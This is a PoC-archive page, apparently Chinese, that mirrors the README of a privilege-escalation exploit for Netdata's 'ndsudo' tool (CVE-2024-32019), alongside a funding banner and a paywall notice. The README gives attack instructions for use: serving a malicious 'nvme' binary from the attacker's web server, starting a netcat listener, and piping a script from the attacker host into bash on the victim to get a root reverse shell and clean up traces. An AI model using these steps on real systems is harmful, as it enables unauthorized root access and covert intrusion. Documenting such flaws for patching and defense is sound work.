目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1310

100%

CVE-2024-32019 PoC — Netdata 安全漏洞

来源
关联漏洞
标题:Netdata 安全漏洞 (CVE-2024-32019)
Description:Netdata是Netdata开源的一个高保真基础设施监控和故障排除应用程序。 Netdata存在安全漏洞。攻击者利用该漏洞以 root 权限运行任意程序。
Description
Privilege Escalation via "ndsudo" (Netdata Local Exploit)
介绍
# CVE-2024-32019-PoC

Bash script for Privilege Escalation via "ndsudo" (Netdata Local Exploit)

## Netdata Affected Versions

* \>= v1.45.0, < v1.45.3

* \>= v1.44.0-60, < v1.45.0-169

## Vulnerability Description

The "ndsudo" tool runs a restricted set of external commands, but the search paths are supplied by the "PATH" environment variables. 

By changing the "PATH" environment variable to a path we have access to, we can control where ndsudo look for the commands and create one that contain malicious code.

## Proof Of Concept

This exploit is based on the assumption that the target machine and the attacker machine are on the same network.

### Prerequisites

#### Attacker Machine
* Listener on port 4444
* Web server hosting the malicious nvme binary
#### Target Machine:
* Local shell access
* Permission to execute ndsudo
* wget/curl/any HTTP client for payload download

### Usage

#### On Attacker Machine
We can automatically generate and deploy the file needed for the attack by running the "setup_exploit_server.sh"

```bash
$ ./setup_exploit_server.sh YOUR_IP

--------- Exploit Infrastructure Setup by Ottanta ---------

[+] Using server IP: YOUR_IP
[+] Creating exploit directory: /tmp/exploit
[+] Creating ndsudo_pe.sh script file...
[+] Creating nvme.c exploit file...
[+] Compiling nvme binary...
[+] nvme binary compiled successfully
[+] Starting web server on port 80...
[+] Web server started with PID: 9350
[+] nvme binary is available at: http://YOUR_IP/nvme
[!] Now run the privilege escalation exploit in the victim terminal
[!] Make sure to start listener: nc -nlvp 4444

Press Enter to stop the web server and clean up...
```

This script will create all the file needed for the attack configured with your ip address.

After deploying our web server we start a listener on another shell:
```bash
# We start a listener with Netcat, but you can use anything else
$ nc -nlvp 4444
listening on [any] 4444 ...

```

#### On Target Machine

Depending on our http client we can download and execute our exploit .

```bash
# If we have curl
$ curl -L http://YOUR_IP/ndsudo_pe.sh | bash -s -- YOUR_IP

# If we have wget
$ wget -qO- http://YOUR_IP/ndsudo_pe.sh | bash -s -- YOUR_IP
```

If everything was done correctly we should now have a root shell.

![alt text](https://i.ibb.co/9mLcHkcd/image.png "logo")

### Exploit Flow
1. Downloads malicious binary to /tmp/exploit/
2. Modifies PATH to prioritize controlled directory
3. Executes ndsudo nvme-list which runs malicious binary
4. Establishes reverse shell to attacker machine
5. Cleans up traces

## Reference

* https://github.com/netdata/netdata/security/advisories/GHSA-pmhq-4cxq-wj93
* https://nvd.nist.gov/vuln/detail/CVE-2024-32019

## Legal Disclaimer

This proof-of-concept is for educational and authorized testing purposes only. 

Unauthorized use against systems you do not own or have explicit permission to test is illegal.

The authors are not responsible for any misuse of this information.
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →